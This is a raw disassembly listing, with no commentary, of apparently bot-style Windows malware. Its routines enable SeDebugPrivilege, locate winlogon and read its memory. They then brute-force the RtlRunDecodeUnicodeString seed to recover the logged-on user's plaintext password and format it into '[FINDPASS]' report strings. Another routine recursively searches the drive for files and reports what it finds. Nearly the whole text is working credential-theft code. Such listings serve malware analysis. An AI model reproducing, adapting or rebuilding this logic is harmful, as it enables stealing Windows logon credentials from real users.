		xor	eax, eax
		lea	edi, [ebp+var_54]
		rep stosd
		mov	esi, 104h
		push	esi
		lea	eax, [ebp+var_158]
		xor	edi, edi
		push	eax
		mov	[ebp+var_48], (offset asc_420AE8+2)
		mov	[ebp+var_54], 44h
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	ds:dword_420048	; GetSystemDirectoryA
		push	esi
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		call	ds:dword_420010	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_158]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		push	edi
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		call	ds:dword_420038	; CreateProcessA
		test	eax, eax
		jz	short loc_402F58
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, ds:dword_42003C
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_402F58:				; CODE XREF: sub_402E99+A9j
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_433F0C
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	ds:dword_420034	; ExitProcess
		int	3		; Trap to Debugger
sub_402E99	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402F79	proc near		; CODE XREF: sub_402F79+9Ep
					; sub_4030CB+C3p

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		mov	esi, 104h
		push	offset aS_1	; "%s\\*"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41483D
		mov	edi, ds:dword_420054
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_0 ; "%s\\%s"
		jz	short loc_403036


loc_402FC5:				; CODE XREF: sub_402F79+BBj
		test	[ebp+var_144], 10h
		jz	short loc_403022
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_402FE9
		cmp	[ebp+var_117], 0
		jz	short loc_403022
		cmp	[ebp+var_117], 2Eh
		jz	short loc_403022


loc_402FE9:				; CODE XREF: sub_402F79+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_34C]
		push	ebx
		push	esi
		push	eax
		call	sub_41483D
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_402F79
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_403022:				; CODE XREF: sub_402F79+53j
					; sub_402F79+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_420050	; FindNextFileA
		test	eax, eax
		jnz	short loc_402FC5


loc_403036:				; CODE XREF: sub_402F79+4Aj
		push	[ebp+var_4]
		call	ds:dword_42004C	; FindClose
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41483D
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4030BC


loc_40306D:				; CODE XREF: sub_402F79+141j
		inc	[ebp+arg_14]
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_54C]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_41483D
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_54C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	ds:dword_420050	; FindNextFileA
		test	eax, eax
		jnz	short loc_40306D


loc_4030BC:				; CODE XREF: sub_402F79+F2j
		push	esi
		call	ds:dword_42004C	; FindClose
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402F79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030CB	proc near		; DATA XREF: sub_408A18+2EA3o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 0A7h
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		lea	edx, [eax+1]
		xor	ebx, ebx


loc_4030FE:				; CODE XREF: sub_4030CB+38j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_4030FE
		sub	eax, edx
		cmp	[ebp+eax+var_115], 5Ch
		jnz	short loc_40312A
		lea	eax, [ebp+var_114]
		lea	edx, [eax+1]


loc_40311A:				; CODE XREF: sub_4030CB+54j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_40311A
		sub	eax, edx
		mov	[ebp+eax+var_115], bl


loc_40312A:				; CODE XREF: sub_4030CB+44j
		lea	eax, [ebp+var_218]
		push	eax
		push	offset aFindfileSearch ; "[FINDFILE]: Searching	for file: %s."
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_41483D
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_40316F
		push	ebx
		push	[ebp+var_C]
		lea	eax, [ebp+var_49C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_4056FB
		add	esp, 14h


loc_40316F:				; CODE XREF: sub_4030CB+82j
		push	ebx
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		push	[ebp+var_C]
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_402F79
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset aFindfileFilesF ; "[FINDFILE]: Files found: %d."
		push	eax
		call	sub_4145E5
		add	esp, 24h
		cmp	[ebp+var_8], ebx
		jnz	short loc_4031CD
		push	ebx
		push	[ebp+var_C]
		lea	eax, [ebp+var_49C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_4056FB
		add	esp, 14h


loc_4031CD:				; CODE XREF: sub_4030CB+E0j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_401EFF
		push	[ebp+var_10]
		call	sub_412735
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_420014	; ExitThread
		int	3		; Trap to Debugger
sub_4030CB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4031EB	proc near		; CODE XREF: sub_4037CA+ABp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_420060
		push	edi
		mov	ebx, 100h
		push	ebx
		push	8
		call	esi	; GetProcessHeap
		mov	edi, ds:dword_42005C
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_434710	; ZwQuerySystemInformation
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_420058	; RtlFreeHeap
		push	[esp+28h+var_14]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		push	ecx
		push	eax
		push	ebp
		push	10h
		mov	[esp+38h+var_C], eax
		call	dword_434710	; ZwQuerySystemInformation
		test	eax, eax
		jnz	short loc_4032D8
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4032D8
		xor	ecx, ecx
		inc	ecx
		cmp	eax, ecx
		mov	ebx, ebp
		mov	[esp+28h+var_18], ecx
		jb	short loc_4032D8


loc_403274:				; CODE XREF: sub_4031EB+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4032CB
		push	0
		push	0
		call	dword_434F18	; RtlCreateQueryDebugBuffer
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_434F1C	; RtlQueryProcessDebugInformation
		test	eax, eax
		jnz	short loc_4032BC
		mov	eax, [edi+60h]
		mov	[esp+28h+var_8], eax
		lea	eax, [edi+80h]
		push	offset aWinlogon ; "WINLOGON"
		push	eax
		call	sub_415136
		pop	ecx
		push	eax
		call	sub_4150B0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4032F0


loc_4032BC:				; CODE XREF: sub_4031EB+AAj
		test	edi, edi
		jz	short loc_4032C7
		push	edi
		call	dword_434F20	; RtlDestroyQueryDebugBuffer


loc_4032C7:				; CODE XREF: sub_4031EB+D3j
		mov	eax, [esp+28h+var_10]


loc_4032CB:				; CODE XREF: sub_4031EB+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_403274


loc_4032D8:				; CODE XREF: sub_4031EB+6Dj
					; sub_4031EB+7Aj ...
		xor	edi, edi


loc_4032DA:				; CODE XREF: sub_4031EB+17Dj
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_420058	; RtlFreeHeap
		mov	eax, edi


loc_4032E8:				; CODE XREF: sub_4031EB+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_4032F0:				; CODE XREF: sub_4031EB+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_403359
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_403306:				; CODE XREF: sub_4031EB+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_415136
		pop	ecx
		push	eax
		call	sub_4150B0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40336D
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_415136
		pop	ecx
		push	eax
		call	sub_4150B0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40334B
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_40334B:				; CODE XREF: sub_4031EB+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_403306


loc_403359:				; CODE XREF: sub_4031EB+10Fj
		test	edi, edi
		jz	short loc_403364
		push	edi
		call	dword_434F20	; RtlDestroyQueryDebugBuffer


loc_403364:				; CODE XREF: sub_4031EB+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4032DA
; ---------------------------------------------------------------------------


loc_40336D:				; CODE XREF: sub_4031EB+13Cj
		xor	eax, eax
		jmp	loc_4032E8
sub_4031EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403374	proc near		; CODE XREF: sub_4037CA+F0p

var_68		= byte ptr -68h
var_64		= dword	ptr -64h
var_44		= byte ptr -44h
var_38		= dword	ptr -38h
var_33		= byte ptr -33h
var_2F		= byte ptr -2Fh
var_28		= byte ptr -28h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 68h
		push	esi
		push	[ebp+arg_0]
		xor	esi, esi
		push	esi
		push	410h
		mov	[ebp+var_14], esi
		call	ds:dword_420078	; OpenProcess
		cmp	eax, esi
		mov	[ebp+var_8], eax
		jnz	short loc_40339D
		xor	eax, eax
		jmp	loc_40350F
; ---------------------------------------------------------------------------


loc_40339D:				; CODE XREF: sub_403374+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[eax], esi
		push	edi
		lea	eax, [ebp+var_68]
		push	eax
		call	ds:dword_420074	; GetSystemInfo
		push	[ebp+var_64]
		mov	[ebp+var_C], esi
		mov	esi, ds:dword_420060
		push	8
		call	esi	; GetProcessHeap
		mov	edi, ds:dword_42005C
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebx, ds:dword_420070
		lea	ecx, [ebp+var_C]
		push	ecx
		push	[ebp+var_64]
		mov	[ebp+var_4], eax
		push	eax
		push	7FFDF000h
		push	[ebp+var_8]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jnz	short loc_4033ED
		xor	esi, esi
		jmp	loc_403502
; ---------------------------------------------------------------------------


loc_4033ED:				; CODE XREF: sub_403374+70j
		push	1Ch
		lea	eax, [ebp+var_44]
		push	eax
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_8]
		call	ds:dword_42006C	; VirtualQueryEx
		test	eax, eax
		jz	loc_4034F1
		test	[ebp+var_33], 10h
		jz	loc_4034F1
		test	[ebp+var_2F], 1
		jnz	loc_4034F1
		push	[ebp+var_38]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	edi, eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_38]
		mov	eax, [ebp+var_4]
		push	edi
		push	dword ptr [eax+18h]
		mov	[ebp+var_10], edi
		push	[ebp+var_8]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jz	loc_4034F1


loc_403448:				; CODE XREF: sub_403374+108j
		push	edi
		push	offset dword_433F10
		call	sub_41F5AC
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403470
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_434718
		call	sub_41F5AC
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_403480


loc_403470:				; CODE XREF: sub_403374+E3j
		mov	eax, [ebp+var_38]
		mov	ecx, [ebp+var_10]
		inc	edi
		inc	edi
		add	eax, ecx
		cmp	edi, eax
		jb	short loc_403448
		jmp	short loc_4034F1
; ---------------------------------------------------------------------------


loc_403480:				; CODE XREF: sub_403374+FAj
		test	edi, edi
		jz	short loc_4034F1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	ds:dword_420068	; FileTimeToLocalFileTime
		test	eax, eax
		jz	short loc_4034BD
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	ds:dword_420064	; FileTimeToSystemTime
		test	eax, eax
		jz	short loc_4034BD
		mov	ecx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edi+42Ch]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4034BD:				; CODE XREF: sub_403374+123j
					; sub_403374+135j
		movzx	eax, byte ptr [edi+42Dh]
		mov	dword_434F30, eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_10]
		mov	[ebp+var_14], 1
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_434F28, eax
		mov	dword_434F2C, edi


loc_4034F1:				; CODE XREF: sub_403374+90j
					; sub_403374+9Aj ...
		push	[ebp+var_4]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_420058	; RtlFreeHeap
		mov	esi, [ebp+var_14]


loc_403502:				; CODE XREF: sub_403374+74j
		push	[ebp+var_8]
		call	ds:dword_42003C	; CloseHandle
		pop	edi
		mov	eax, esi
		pop	ebx


loc_40350F:				; CODE XREF: sub_403374+24j
		pop	esi
		leave
		retn
sub_403374	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403512	proc near		; CODE XREF: sub_4037CA:loc_4038C1p

var_50		= byte ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_2C		= byte ptr -2Ch
var_20		= dword	ptr -20h
var_1B		= byte ptr -1Bh
var_17		= byte ptr -17h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	[ebp+arg_0]
		push	0
		push	410h
		call	ds:dword_420078	; OpenProcess
		test	eax, eax
		mov	[ebp+var_4], eax
		jnz	short loc_403531
		leave
		retn
; ---------------------------------------------------------------------------


loc_403531:				; CODE XREF: sub_403512+1Bj
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_50]
		push	eax
		call	ds:dword_420074	; GetSystemInfo
		mov	eax, [ebp+var_44]
		mov	ebx, [ebp+var_48]
		cmp	ebx, eax
		mov	[ebp+var_10], eax
		jnb	loc_4035F1
		mov	edi, ds:dword_420060


loc_40355B:				; CODE XREF: sub_403512+D9j
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_42006C	; VirtualQueryEx
		test	eax, eax
		jz	short loc_4035DF
		test	[ebp+var_1B], 10h
		mov	eax, [ebp+var_20]
		mov	[ebp+var_8], eax
		jz	short loc_4035E5
		test	[ebp+var_17], 1
		jnz	short loc_4035E5
		push	eax
		push	8
		call	edi	; GetProcessHeap
		push	eax
		call	ds:dword_42005C	; RtlAllocateHeap
		and	[ebp+var_C], 0
		mov	esi, eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_20]
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_420070	; ReadProcessMemory
		test	eax, eax
		jz	short loc_4035D1
		push	offset dword_433F10
		push	esi
		call	sub_41F5AC
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4035D1
		lea	eax, [esi+400h]
		push	offset dword_434718
		push	eax
		call	sub_41F5AC
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_403603


loc_4035D1:				; CODE XREF: sub_403512+95j
					; sub_403512+A6j
		push	esi
		push	0
		call	edi	; GetProcessHeap
		push	eax
		call	ds:dword_420058	; RtlFreeHeap
		jmp	short loc_4035E5
; ---------------------------------------------------------------------------


loc_4035DF:				; CODE XREF: sub_403512+5Bj
		mov	eax, [ebp+var_4C]
		mov	[ebp+var_8], eax


loc_4035E5:				; CODE XREF: sub_403512+67j
					; sub_403512+6Dj ...
		add	ebx, [ebp+var_8]
		cmp	ebx, [ebp+var_10]
		jb	loc_40355B


loc_4035F1:				; CODE XREF: sub_403512+3Dj
		xor	esi, esi


loc_4035F3:				; CODE XREF: sub_403512+123j
		push	[ebp+var_4]
		call	ds:dword_42003C	; CloseHandle
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_403603:				; CODE XREF: sub_403512+BDj
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_434F28, ebx
		mov	dword_434F2C, eax
		cmp	[eax], cl
		jnz	short loc_403625
		cmp	[eax+1], cl
		jz	short loc_40362D


loc_403625:				; CODE XREF: sub_403512+10Cj
					; sub_403512+119j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_403625


loc_40362D:				; CODE XREF: sub_403512+111j
		mov	eax, [ebp+arg_4]
		xor	esi, esi
		mov	[eax], ecx
		inc	esi
		jmp	short loc_4035F3
sub_403512	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403637	proc near		; CODE XREF: sub_4037CA+134p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_434F24
		add	eax, eax
		push	ebx
		mov	ebx, ds:dword_420060
		mov	[ebp+var_8], ax
		add	eax, 2
		push	esi
		mov	[ebp+var_6], ax
		movzx	eax, ax
		push	edi
		push	eax
		push	8
		call	ebx	; GetProcessHeap
		push	eax
		call	ds:dword_42005C	; RtlAllocateHeap
		mov	ecx, dword_434F24
		mov	esi, dword_434F2C
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	[ebp+var_4], edi
		xor	eax, eax
		rep movsw
		mov	al, byte ptr dword_434F30
		push	eax
		call	dword_434714	; RtlRunDecodeUnicodeString
		push	[ebp+var_4]
		mov	esi, offset dword_434F38
		push	offset dword_433F10
		push	offset dword_434718
		push	[ebp+arg_0]
		push	offset aFindpassTheWin ; "[FINDPASS]: The Windows logon	(Pid: <%d"...
		push	200h
		push	esi
		call	sub_41483D
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	ebx	; GetProcessHeap
		push	eax
		call	ds:dword_420058	; RtlFreeHeap
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn
sub_403637	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4036C9	proc near		; CODE XREF: sub_4037CA:loc_403905p

var_C		= word ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_434F24
		add	eax, eax
		push	ebx
		mov	[ebp+var_C], ax
		add	eax, 2
		push	esi
		mov	[ebp+var_A], ax
		movzx	eax, ax
		push	edi
		push	eax
		push	8
		call	ds:dword_420060	; GetProcessHeap
		push	eax
		call	ds:dword_42005C	; RtlAllocateHeap
		and	[ebp+var_4], 0
		mov	[ebp+var_8], eax
		mov	ebx, offset dword_435138


loc_403703:				; CODE XREF: sub_4036C9+E2j
		mov	ecx, dword_434F24
		mov	esi, dword_434F2C
		mov	edi, [ebp+var_8]
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_4]
		rep movsw
		call	dword_434714	; RtlRunDecodeUnicodeString
		mov	eax, dword_434F24
		mov	esi, [ebp+var_8]
		xor	edx, edx
		inc	edx
		xor	edi, edi
		test	eax, eax
		jbe	short loc_40375C


loc_403733:				; CODE XREF: sub_4036C9+8Dj
		test	edx, edx
		jz	short loc_403781
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40374F
		cmp	byte ptr [esi+1], 0
		jnz	short loc_40374F
		cmp	cl, 20h
		jnb	short loc_40374A
		xor	edx, edx


loc_40374A:				; CODE XREF: sub_4036C9+7Dj
		cmp	cl, 7Eh
		jbe	short loc_403751


loc_40374F:				; CODE XREF: sub_4036C9+72j
					; sub_4036C9+78j
		xor	edx, edx


loc_403751:				; CODE XREF: sub_4036C9+84j
		inc	esi
		inc	esi
		inc	edi
		cmp	edi, eax
		jb	short loc_403733
		test	edx, edx
		jz	short loc_403781


loc_40375C:				; CODE XREF: sub_4036C9+68j
		push	[ebp+var_8]
		push	offset dword_433F10
		push	offset dword_434718
		push	[ebp+arg_0]
		push	offset aFindpassTheWin ; "[FINDPASS]: The Windows logon	(Pid: <%d"...
		push	200h
		push	ebx
		call	sub_41483D
		add	esp, 1Ch
		jmp	short loc_4037A1
; ---------------------------------------------------------------------------


loc_403781:				; CODE XREF: sub_4036C9+6Cj
					; sub_4036C9+91j
		push	offset dword_433F10
		push	offset dword_434718
		push	[ebp+arg_0]
		push	offset aFindpassTheW_0 ; "[FINDPASS]: The Windows logon	(Pid: <%d"...
		push	200h
		push	ebx
		call	sub_41483D
		add	esp, 18h


loc_4037A1:				; CODE XREF: sub_4036C9+B6j
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 0FFh
		jbe	loc_403703
		push	[ebp+var_8]
		push	0
		call	ds:dword_420060	; GetProcessHeap
		push	eax
		call	ds:dword_420058	; RtlFreeHeap
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_4036C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_4037CA	proc near		; DATA XREF: sub_408A18+413Co

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 29Ch
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_9C]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+90h], esi
		call	sub_41162E
		cmp	eax, esi
		mov	[ebp+74h+var_4], eax
		jz	short loc_403809
		cmp	eax, 2
		jz	short loc_403809
		push	offset aFindpassOnlySu ; "[FINDPASS]: Only supported on	Windows	N"...
		jmp	loc_403946
; ---------------------------------------------------------------------------


loc_403809:				; CODE XREF: sub_4037CA+2Ej
					; sub_4037CA+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_40819B
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_403941
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	ds:dword_420088	; LoadLibraryA
		mov	esi, ds:dword_420084
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+74h+var_8], edi
		call	esi	; GetProcAddress
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_434710, eax
		call	esi	; GetProcAddress
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_434F18, eax
		call	esi	; GetProcAddress
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_434F1C, eax
		call	esi	; GetProcAddress
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_434F20, eax
		call	esi	; GetProcAddress
		mov	dword_434714, eax
		call	sub_4031EB
		test	eax, eax
		mov	[ebp+74h+arg_0], eax
		jz	loc_403915
		mov	esi, ds:dword_420080
		mov	edi, 400h
		push	edi
		mov	ebx, offset dword_433F10
		push	ebx
		push	offset aUsername ; "USERNAME"
		call	esi	; GetEnvironmentVariableW
		push	edi
		mov	edi, offset dword_434718
		push	edi
		push	offset aUserdomain ; "USERDOMAIN"
		call	esi	; GetEnvironmentVariableW
		cmp	[ebp+74h+var_4], 1
		push	offset dword_434F24
		push	[ebp+74h+arg_0]
		jnz	short loc_4038C1
		call	sub_403374
		jmp	short loc_4038C6
; ---------------------------------------------------------------------------


loc_4038C1:				; CODE XREF: sub_4037CA+EEj
		call	sub_403512


loc_4038C6:				; CODE XREF: sub_4037CA+F5j
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40390E
		cmp	dword_434F24, 0
		jnz	short loc_4038F5
		push	ebx
		push	edi
		push	[ebp+74h+arg_0]
		lea	eax, [ebp+74h+var_29C]
		push	offset aFindpassTheW_1 ; "[FINDPASS]: The Windows logon	(Pid: <%d"...
		push	200h
		push	eax
		call	sub_41483D
		add	esp, 18h
		jmp	short loc_403928
; ---------------------------------------------------------------------------


loc_4038F5:				; CODE XREF: sub_4037CA+109j
		cmp	[ebp+74h+var_4], 1
		push	[ebp+74h+arg_0]
		jnz	short loc_403905
		call	sub_403637
		jmp	short loc_40390A
; ---------------------------------------------------------------------------


loc_403905:				; CODE XREF: sub_4037CA+132j
		call	sub_4036C9


loc_40390A:				; CODE XREF: sub_4037CA+139j
		pop	ecx
		push	eax
		jmp	short loc_40391A
; ---------------------------------------------------------------------------


loc_40390E:				; CODE XREF: sub_4037CA+100j
		push	offset aFindpassUnable ; "[FINDPASS]: Unable to	find the password"...
		jmp	short loc_40391A
; ---------------------------------------------------------------------------


loc_403915:				; CODE XREF: sub_4037CA+B5j
		push	offset aFindpassUnab_0 ; "[FINDPASS]: Unable to	find Winlogon Pro"...


loc_40391A:				; CODE XREF: sub_4037CA+142j
					; sub_4037CA+149j
		lea	eax, [ebp+74h+var_29C]
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx


loc_403928:				; CODE XREF: sub_4037CA+129j
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_40819B
		pop	ecx
		pop	ecx
		push	[ebp+74h+var_8]
		call	ds:dword_42007C	; FreeLibrary
		jmp	short loc_403954
; ---------------------------------------------------------------------------


